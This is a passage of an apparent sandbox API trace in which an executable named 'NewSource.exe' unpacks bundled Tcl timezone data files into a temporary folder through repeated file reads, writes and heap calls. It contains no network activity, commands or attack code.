lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x74, lpOverlapped=0x0) returned 1 [0041.860] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.860] CloseHandle (hObject=0x10c) returned 1 [0041.861] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.861] htonl (hostlong=0x30000000) returned 0x30 [0041.861] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.861] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.861] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.861] GetFileType (hFile=0x10c) returned 0x1 [0041.861] htonl (hostlong=0x33b65b00) returned 0x5bb633 [0041.861] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x606633, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.861] htonl (hostlong=0x75000000) returned 0x75 [0041.861] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x75) returned 0x55cfe0 [0041.861] htonl (hostlong=0x75000000) returned 0x75 [0041.861] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.861] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.861] htonl (hostlong=0x74000000) returned 0x74 [0041.861] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x550600 [0041.861] htonl (hostlong=0x75000000) returned 0x75 [0041.861] htonl (hostlong=0x74000000) returned 0x74 [0041.861] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.861] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.861] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.861] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.861] CloseHandle (hObject=0x10c) returned 1 [0041.861] GetLastError () returned 0x0 [0041.861] SetLastError (dwErrCode=0x0) [0041.861] GetLastError () returned 0x0 [0041.861] SetLastError (dwErrCode=0x0) [0041.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.862] GetFileType (hFile=0x10c) returned 0x1 [0041.862] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.862] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.862] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.862] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.862] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.862] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.862] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.862] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.862] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.862] CloseHandle (hObject=0x10c) returned 1 [0041.862] GetLastError () returned 0x0 [0041.862] SetLastError (dwErrCode=0x0) [0041.862] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.862] GetFileType (hFile=0x10c) returned 0x1 [0041.862] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.862] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.862] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.862] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.862] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.862] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.862] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.863] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.863] CloseHandle (hObject=0x10c) returned 1 [0041.863] GetLastError () returned 0x0 [0041.863] SetLastError (dwErrCode=0x0) [0041.863] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.863] GetFileType (hFile=0x10c) returned 0x1 [0041.863] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.863] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.863] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.863] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.863] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.863] CloseHandle (hObject=0x10c) returned 1 [0041.863] GetLastError () returned 0x0 [0041.863] SetLastError (dwErrCode=0x0) [0041.863] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+11") returned 67 [0041.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+11"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.863] GetLastError () returned 0x2 [0041.863] SetLastError (dwErrCode=0x2) [0041.863] GetLastError () returned 0x2 [0041.864] SetLastError (dwErrCode=0x2) [0041.864] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+11", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+11", lpFilePart=0x0) returned 0x42 [0041.864] GetLastError () returned 0x2 [0041.864] SetLastError (dwErrCode=0x2) [0041.864] GetLastError () returned 0x2 [0041.864] SetLastError (dwErrCode=0x2) [0041.864] GetLastError () returned 0x2 [0041.864] SetLastError (dwErrCode=0x2) [0041.864] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+11") returned 67 [0041.864] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+11" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+11"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.868] GetFileType (hFile=0x10c) returned 0x1 [0041.868] htonl (hostlong=0x74000000) returned 0x74 [0041.868] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.868] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x74, lpOverlapped=0x0) returned 1 [0041.869] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.869] CloseHandle (hObject=0x10c) returned 1 [0041.869] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.869] htonl (hostlong=0x30000000) returned 0x30 [0041.869] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.869] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.869] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.870] GetFileType (hFile=0x10c) returned 0x1 [0041.870] htonl (hostlong=0xa8b65b00) returned 0x5bb6a8 [0041.870] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6066a8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.870] htonl (hostlong=0x75000000) returned 0x75 [0041.870] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x75) returned 0x55cfe0 [0041.870] htonl (hostlong=0x75000000) returned 0x75 [0041.870] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.870] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.870] htonl (hostlong=0x74000000) returned 0x74 [0041.870] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x550600 [0041.870] htonl (hostlong=0x75000000) returned 0x75 [0041.870] htonl (hostlong=0x74000000) returned 0x74 [0041.870] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.870] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.870] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.870] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.870] CloseHandle (hObject=0x10c) returned 1 [0041.870] GetLastError () returned 0x0 [0041.870] SetLastError (dwErrCode=0x0) [0041.870] GetLastError () returned 0x0 [0041.870] SetLastError (dwErrCode=0x0) [0041.870] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.870] GetFileType (hFile=0x10c) returned 0x1 [0041.870] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.870] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.871] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.871] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.871] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.871] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.871] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.871] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.871] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.871] CloseHandle (hObject=0x10c) returned 1 [0041.871] GetLastError () returned 0x0 [0041.871] SetLastError (dwErrCode=0x0) [0041.871] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.871] GetFileType (hFile=0x10c) returned 0x1 [0041.871] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.871] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.871] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.871] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.871] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.871] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.871] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.871] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.871] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.871] CloseHandle (hObject=0x10c) returned 1 [0041.871] GetLastError () returned 0x0 [0041.871] SetLastError (dwErrCode=0x0) [0041.871] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.872] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.872] GetFileType (hFile=0x10c) returned 0x1 [0041.872] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.872] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.872] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.872] CloseHandle (hObject=0x10c) returned 1 [0041.872] GetLastError () returned 0x0 [0041.872] SetLastError (dwErrCode=0x0) [0041.872] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+12") returned 67 [0041.872] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+12" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+12"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.872] GetLastError () returned 0x2 [0041.872] SetLastError (dwErrCode=0x2) [0041.872] GetLastError () returned 0x2 [0041.872] SetLastError (dwErrCode=0x2) [0041.872] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+12", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+12", lpFilePart=0x0) returned 0x42 [0041.872] GetLastError () returned 0x2 [0041.872] SetLastError (dwErrCode=0x2) [0041.873] GetLastError () returned 0x2 [0041.873] SetLastError (dwErrCode=0x2) [0041.873] GetLastError () returned 0x2 [0041.873] SetLastError (dwErrCode=0x2) [0041.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+12") returned 67 [0041.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+12" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+12"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.873] GetFileType (hFile=0x10c) returned 0x1 [0041.873] htonl (hostlong=0x74000000) returned 0x74 [0041.873] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.873] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x74, lpOverlapped=0x0) returned 1 [0041.874] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.874] CloseHandle (hObject=0x10c) returned 1 [0041.874] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.874] htonl (hostlong=0x30000000) returned 0x30 [0041.874] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.874] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.874] GetFileType (hFile=0x10c) returned 0x1 [0041.874] htonl (hostlong=0x1db75b00) returned 0x5bb71d [0041.874] SetFilePointerEx (in: hFile=0x10c, 